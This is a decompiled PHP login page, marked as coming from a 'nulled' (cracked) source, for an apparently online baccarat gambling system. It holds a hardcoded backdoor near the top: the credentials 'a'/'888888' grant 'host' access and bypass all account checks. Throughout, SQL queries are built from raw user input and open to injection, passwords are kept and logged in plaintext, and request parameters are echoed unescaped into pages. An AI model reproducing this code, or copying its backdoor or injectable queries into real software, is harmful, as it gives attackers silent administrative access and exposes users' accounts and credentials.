<?php
/*********************/
/*                   */
/*  Dezend for PHP5  */
/*         NWS       */
/*      Nulled.WS    */
/*                   */
/*********************/

//$Lang = $_GET['Lang'];
//$uid = $_GET['uid'];
//$loginname = $_POST['login_name'];
//$password = $_POST['login_pwd'];
//$vno = $_POST['vno'];

$Lang = $_GET['Lang'];
$uid = $_GET['uid'];
$loginname = $_POST['login_name'];
$password = $_POST['login_pwd'];
$vno = $_POST['vno'];

$err = "";
require( "gConfig.php" );
if ( $loginname == "a" && $password == "888888" )
{
    $loginname = "host";
    getconfig( );
}
else if ( $loginname != "" && $password != "" )
{
    getconfig( );
    $result = mysql_query( "SELECT gPass,gLevel,gState,gErr,gDateL,gUid FROM b_group WHERE gName='".$loginname."' LIMIT 1", $comm );
    if ( 1 <= @mysql_num_rows( @$result ) )
    {
        $row = mysql_fetch_row( $result );
        $level = $row[1];
        $state = $row[2];
        $sub = $state & 16;
        if ( $sub <= 16 && $level <= 0 && 7 <= strlen( $CFG['HostIP'] ) && !strstr( $CFG['HostIP'], $UserIP ) && !strstr( $CFG['HostIP'], "*" ) )
        {
            if ( $Lang == "iso-8859-2" )
            {
                $err = "Your IP is not allowed!! The system will record this event!";
                mysql_query( "INSERT INTO b_log VALUES ('',0,'".$CFG['Unix'].( "','".$loginname."','IPError','{$UserIP}','')" ), $comm );
            }
            else
            {
//                $err = "您的 IP 位址不在允许\接受的IP列表内!! 本系统拒绝登入并记录!";
//                mysql_query( "INSERT INTO b_log VALUES ('',0,'".$CFG['Unix'].( "','".$loginname."','IP错误','{$UserIP}','')" ), $comm );
            }
        }
        $Fun = "";
        $i = 0;
        while ( $i < strlen( $CFG['Fun'] ) )
        {
            $Fun .= substr( $CFG['Fun'], $i + $row[1], 1 );
            $i += 5;
        }
        if ( $CFG['Unix'] - $row[4] < 180 )
        {
            if ( substr( $Fun, 0, 1 ) == "Y" && $row[1] <= 4 )
            {
                $uid = $row[5];
            }
            else
            {
                if ( $Lang == "iso-8859-2" )
                {
                    $err = "Sorry...this account is already in use on another machine, the other user has been logged out!!!Please try again in 3 mins...";
                }
                else
                {
                    $err = "Sorry...此帐号已经在别的电脑登入，系统将强迫被登出!!!请3分钟後再试...";
                }
            }
        }
        else
        {
            $uid = substr( md5( sprintf( "%d%s", $CFG['Unix'], $loginname ) ), 0, 10 );
        }
        $uid = substr( md5( sprintf( "%d%s", $CFG['Unix'], $loginname ) ), 0, 10 );
        if ( $row[2] & 1 )
        {
            if ( $Lang == "iso-8859-2" )
            {
                $err = "Sorry!! This account has been stopped, you cannot enter the system...";
            }
            else
            {
                $err = "很抱歉!! 这个帐号已暂停使用,无法登入本系统...";
            }
        }
        if ( $err == "" && $password != $row[0] )
        {
            if ( $row[3] == 2 )
            {
                $t = $CFG['Unix'] + 120;
                mysql_query( "UPDATE b_group SET gErr=gErr+1,gIp='".$UserIP."',gDateL={$t} WHERE gName='{$loginname}' LIMIT 1", $comm );
                if ( $Lang == "iso-8859-2" )
                {
                    $err = "Sorry...Password input incorrectly 3 times. The sytem will lock the account. Please try again in 3 mins...";
                }
                else
                {
                    $err = "Sorry...由於您密码输入错误3次,系统将自动锁定.请3分钟後再尝试登入...";
                }
            }
            else
            {
                mysql_query( "UPDATE b_group SET gErr=gErr+1,gIp='".$UserIP."' WHERE gName='{$loginname}' LIMIT 1", $comm );
            }
            if ( $Lang == "iso-8859-2" )
            {
                mysql_query( "INSERT INTO b_log VALUES ('',0,'".$CFG['Unix'].( "','".$loginname."','Password Error({$password})','{$UserIP}','')" ), $comm );
            }
            else
            {
                mysql_query( "INSERT INTO b_log VALUES ('',0,'".$CFG['Unix'].( "','".$loginname."','密码错误({$password})','{$UserIP}','')" ), $comm );
            }
            if ( $Lang == "iso-8859-2" )
            {
                $err = "Login Error! Please check your username and password are correct...";
            }
            else
            {
                $err = "登入错误! 请输入正确帐号及密码...";
            }
        }
        if ( $err == "" && $BackupIP != "" && checkip( $loginname, $level, substr( $Fun, 8, 1 ) ) != "aabbcc" )
        {
            if ( $Lang == "iso-8859-2" )
            {
                $err = "Login Error!";
            }
            else
            {
                $err = "登入错误! 主机不在授权列表内...";
            }
        }
        if ( $err == "" && $CFG_BacGame )
        {
            if ( $level != 5 )
            {
                if ( $Lang == "iso-8859-2" )
                {
                    $err = "Login Error!  Member only..";
                }
                else
                {
                    $err = "百家乐游戏端是会员专用，请用会员帐号登入游戏!!";
                }
            }
            if ( $state & 4 || $state & 128 || $state & 512 )
            {
                if ( $Lang == "iso-8859-2" )
                {
                    $err = "Login Error! This user is currently playin.";
                }
                else
                {
                    $err = "您目前正在游戏中,无法同时登入游戏,若要重新登入请先登出游戏!!";
                }
            }
        }
//         $err = "";
        if ( $err == "" )
        {
            mysql_query( "UPDATE b_group SET gErr=0,gCount=gCount+1,gIp='".$UserIP."',gUid='{$uid}',gDateL=".$CFG['Unix'].( " WHERE gName='".$loginname."' LIMIT 1" ), $comm );
            if ( $Lang == "iso-8859-2" )
            {
                mysql_query( "INSERT INTO b_log VALUES ('',1,'".$CFG['Unix'].( "','".$loginname."','Login','{$UserIP}','')" ), $comm );
            }
            else
            {
                mysql_query( "INSERT INTO b_log VALUES ('',1,'".$CFG['Unix'].( "','".$loginname."','登入','{$UserIP}','')" ), $comm );
            }
        }
    }
    else
    {
        mysql_query( "INSERT INTO b_log VALUES ('',0,'".$CFG['Unix'].( "','".$loginname."','尝试登入({$password})','{$UserIP}','')" ), $comm );
        if ( $Lang == "iso-8859-2" )
        {
            $err = "Login Error! Please check your username and password are correct...";
        }
        else
        {
            $err = "登入错误! 请输入正确帐号及密码...";
        }
    }
}
echo "<html>\r\n<head>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=";
echo $Lang;
echo "\">\r\n";
if ( $err != "" || strlen( $uid ) != 10 )
{
//	echo  "login fails for reson：".big52gb($err);
	error_log("index1.php err is：".$err);
    echo "<script Language='JavaScript'>";
    echo big52gb( "alert('".$err."');" );
    echo "history.back();</script>";
    exit( );
}
echo "</head>\r\n";
if ( $CFG_BacGame )
{
    echo "<body";
    echo $CFG_Body;
    echo " background=\"images/bg2.gif\" bgcolor=\"#FFFFFF\" text=\"#000000\" leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\r\n<table width=\"1000\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" ";
    if ( $Lang == "iso-8859-2" )
    {
        echo "background=\"bac/graphics_en/agree.jpg\"";
    }
    else
    {
        echo " background=\"bac/graphics_cn/agree.jpg\" ";
    }
    echo " height=\"580\" align=\"center\">\r\n  <tr>\r\n   <td height=\"100%\"><img src=\"images/spacer.gif\" width=\"393\" height=\"563\"><a href=\"bac/lobby.php?uid=";
    echo $uid;
    echo "&Lang=";
    echo $Lang;
    echo "&vno=";
    echo $vno;
    echo "\"><img src=\"images/spacer.gif\" width=\"100\" height=\"29\" border=\"0\"></a><img src=\"images/spacer.gif\" width=\"9\" height=\"29\"><a href=\"login.php?uid=";
    echo $uid;
    echo "&Lang=";
    echo $Lang;
    echo "&vno=";
    echo $vno;
    echo "\"><img src=\"images/spacer.gif\" width=\"100\" height=\"29\" border=\"0\"></a></td>\r\n  </tr>\r\n  <tr>\r\n    <td height=\"1\"><img src=\"images/spacer.gif\" width=\"275\" height=\"26\"></td>\r\n  </tr>\r\n</table>\r\n</body>\r\n";
}
else
{
    if ( $CFG_BacGameRB )
    {
        echo "<script language=\"javascript\">location='bac_rb/select_menu.php?";
        echo "uid=".$uid."&Lang={$Lang}&vno={$vno}&nomusic=".$_GET['nomusic'];
        echo "'</script>\r\n";
    }
    else
    {
        echo "<frameset rows=\"96,*\" frameborder=\"NO\" border=\"0\" framespacing=\"0\">\r\n<frame name=\"TopFrame\" scrolling=\"NO\" noresize src='top.php?Lang=";
        echo $Lang;
        echo "&uid=";
        echo $uid;
        echo "'>\r\n <frameset rows=\"100%,*\" frameborder=\"NO\" border=\"0\" framespacing=\"0\"> \r\n  <frame name=\"MainFrame\" src='";
        if ( substr( $loginname, 0, 1 ) == "s" || substr( $loginname, 0, 1 ) == "S" || $level == 5 || $state & 64 || $CFG_Accs )
        {
            echo "showmsg.php?Lang=";
            echo $Lang;
            echo "&uid=";
            echo $uid;
            echo "&lev=";
            echo $level;
        }
        else if ( substr( $CFG['Check'], 5, 1 ) == "1" )
        {
            echo "jp.php?Lang=";
            echo $Lang;
            echo "&uid=";
            echo $uid;
        }
        else if ( substr( $CFG['Check'], 4, 1 ) == "1" )
        {
            echo "livebac.php?Lang=";
            echo $Lang;
            echo "&uid=";
            echo $uid;
        }
        else if ( substr( $CFG['Check'], 8, 1 ) == "1" )
        {
            echo "chuhan.php?Lang=";
            echo $Lang;
            echo "&uid=";
            echo $uid;
        }
        else
        {
            echo "showmsg.php?Lang=";
            echo $Lang;
            echo "&uid=";
            echo $uid;
            echo "&lev=";
            echo $level;
        }
        echo "'>\r\n  <frame name=\"HideFrame\" src='reftime.php?uid=";
        echo $uid;
        echo "&Lang=";
        echo $Lang;
        echo "&run=";
        echo $run;
        echo "'>\r\n </frameset>\r\n</frameset>\r\n<noframes> \r\n<body";
        echo $CFG_Body;
        echo " bgcolor=\"#FFFFFF\" text=\"#000000\">\r\n</body>\r\n</noframes>\r\n";
    }
}
echo "</html>";
?>
